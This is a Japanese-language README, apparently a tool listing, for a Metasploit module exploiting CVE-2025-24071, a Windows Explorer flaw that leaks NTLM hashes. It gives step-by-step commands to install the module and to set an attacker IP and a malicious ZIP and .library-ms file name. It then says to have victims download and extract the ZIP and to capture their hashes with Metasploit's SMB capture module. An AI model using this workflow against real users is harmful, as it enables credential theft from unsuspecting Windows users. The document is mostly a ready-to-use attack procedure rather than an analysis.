CVE-2025-24071-msfvenom

CVE-2025-24071: .library-msファイルを介したNTLMハッシュ漏洩（Metasploitモジュール）

このリポジトリには、ZIPアーカイブから悪意のある.library-msファイルが展開されるとNTLMハッシュを漏洩させるWindows Explorerの脆弱性であるCVE-2025-24071を悪用するためのMetasploitモジュールが含まれています。

開発者: FOLKS-IWD

概要

この脆弱性は、ユーザーが特別に細工された.library-msファイルを含むZIPアーカイブを展開したときに発生します。Windows Explorerは、ファイル内で指定されたリモートサーバーへのSMB認証要求を自動的に開始し、ユーザーの操作なしにユーザーのNTLMハッシュを漏洩させます。

このMetasploitモジュール：

1. 悪意のある.library-msファイルを生成します。
2. それをZIPアーカイブにパックします。
3. MetasploitのSMBキャプチャ機能と統合してNTLMハッシュを収集します。

インストール

1. リポジトリをクローンします:
   root@kitploit:~

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. モジュールをMetasploitのモジュールディレクトリにコピーします:
   root@kitploit:~

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

使用方法

1. モジュールをロードします:
   root@kitploit:~

   use auxiliary/server/ntlm_hash_leak
   

2. 必要なオプションを設定します:
   root@kitploit:~

   set ATTACKER_IP 192.168.1.162  # Replace with your IP address
   set FILENAME exploit.zip       # Name of the malicious ZIP file
   set LIBRARY_NAME malicious.library-ms  # Name of the .library-ms file
   set SHARE_NAME shared          # SMB share name
   

3. モジュールを実行します :

  run

4. モジュールは悪意のあるZIPファイル（exploit.zip）を生成します。このファイルをホストして、被害者にダウンロードおよび展開させます。
5. MetasploitのSMBキャプチャモジュールを使用してNTLMハッシュを収集します:
   root@kitploit:~

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Same as ATTACKER_IP
   run